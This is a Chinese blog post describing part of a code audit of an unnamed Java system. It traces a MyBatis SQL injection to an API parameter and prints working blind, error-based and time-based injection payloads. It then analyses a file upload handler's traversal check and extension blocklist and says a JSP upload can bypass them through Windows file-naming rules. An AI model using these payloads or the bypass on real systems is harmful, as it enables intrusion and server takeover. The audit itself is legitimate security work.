某JAVA系统——代码审计(一)

1 SQL注入

分析过程:

1)分析框架使用了mybatis,然后分析XML文件发现几处SQL注入(这里介绍一处的分析过程)。

2)首先query里的find_in_set()使用的是“$”,存在SQL注入隐患,但前提是categoryId不能为空。

2)然后 XML文件首部发现是IContentDao类。

3)在IContentDao类里并没有发现query方法,然后去查找它继承的IBaseDao,找到对应的query方法

4)IBaseDao是接口,那就找一下实现类

5)看一下哪些地方使用了query方法

6) 找到一处对应的API: xxx/xxxx/list

7) 工具验证此API

    Parameter: categoryId (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: categoryId=1329257757913718785' RLIKE (SELECT (CASE WHEN (2857=2857) THEN 1329257757913718785 ELSE 0x28 END)) AND 'kxBY'='kxBY&pageNo=1&pageSize=10

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: categoryId=1329257757913718785' AND GTID_SUBSET(CONCAT(0x717a767871,(SELECT (ELT(4942=4942,1))),0x7162787171),4942) AND 'ytQR'='ytQR&pageNo=1&pageSize=10

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: categoryId=1329257757913718785' AND (SELECT 7063 FROM (SELECT(SLEEP(5)))nzpn) AND 'lnTF'='lnTF&pageNo=1&pageSize=10

2 文件上传漏洞

(1)一处文件上传的代码

 @PostMapping({"/uploadTemplate"})
 @ResponseBody
 public ResultData uploadTemplate(Bean bean, boolean uploadFloderPath, HttpServletResponse res) throws IOException {
        String uploadTemplatePath = Properties.upload.template;
        if (this.checkUploadPath(bean)) {
            return ResultData.build().error(this.getResString("err.error", new String[]{this.getResString("file.type")}));
        } else {
            if (StringUtils.isEmpty(bean.getUploadPath())) {
                bean.setUploadPath(uploadTemplatePath + File.separator + BasicUtil.getApp().getAppId());
            }

            Config config = new Config(bean.getUploadPath(), bean.getFile(), (String)null, uploadFloderPath, bean.isRename());
            return this.uploadTemplate(config);
        }
}

1)首先 “String uploadTemplatePath=Properties.upload.template”是获取默认上传文件夹

2)然后checkUploadPath()函数检查用户的上传路径里是否存在可以“目录穿越”的恶意数据:

 protected boolean checkUploadPath(Bean bean) {
        return bean.getUploadPath() != null && (bean.getUploadPath().contains("../") || bean.getUploadPath().contains("..\\"));
    }

 

         a. 如果存在如../ ..\等恶意数据的直接返回错误

         b. 路径安全检查通过,则再检查用户的上传路径是否为空

                i. 为空,则直接使用“uploadTemplatePath + File.separator + BasicUtil.getApp().getAppId()”拼接的默认路径

                ii. 不为空,则继续执行程序逻辑

3)最后将文件信息放到“Config”对象(如下图)里,返回给uploadTemplate()函数

(2)uploadTemplate()函数

1)首先判断文件格式,如果文件名里没有" . "将报出文件格式错误

2)判断uploadTemplatePath 是否是绝对路径,不是则使用getRealPath()获取绝对路径

3)接着判断文件格式是不是以" . "结尾,且操作系统是不是windows,即禁止windows系统下且文件名是以“.”结尾的。如果文件格式正常则获取文件的后缀,即文件类型。

4)是判断文件类型是否正确,禁止上传如下类型:.exe,.jsp,.jspx,.sh

 5)后面就是正常文件路径拼接和文件保存了

 (3)综上,我们要上传JSP文件可以利用windows操作系统文件命令规则绕过

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值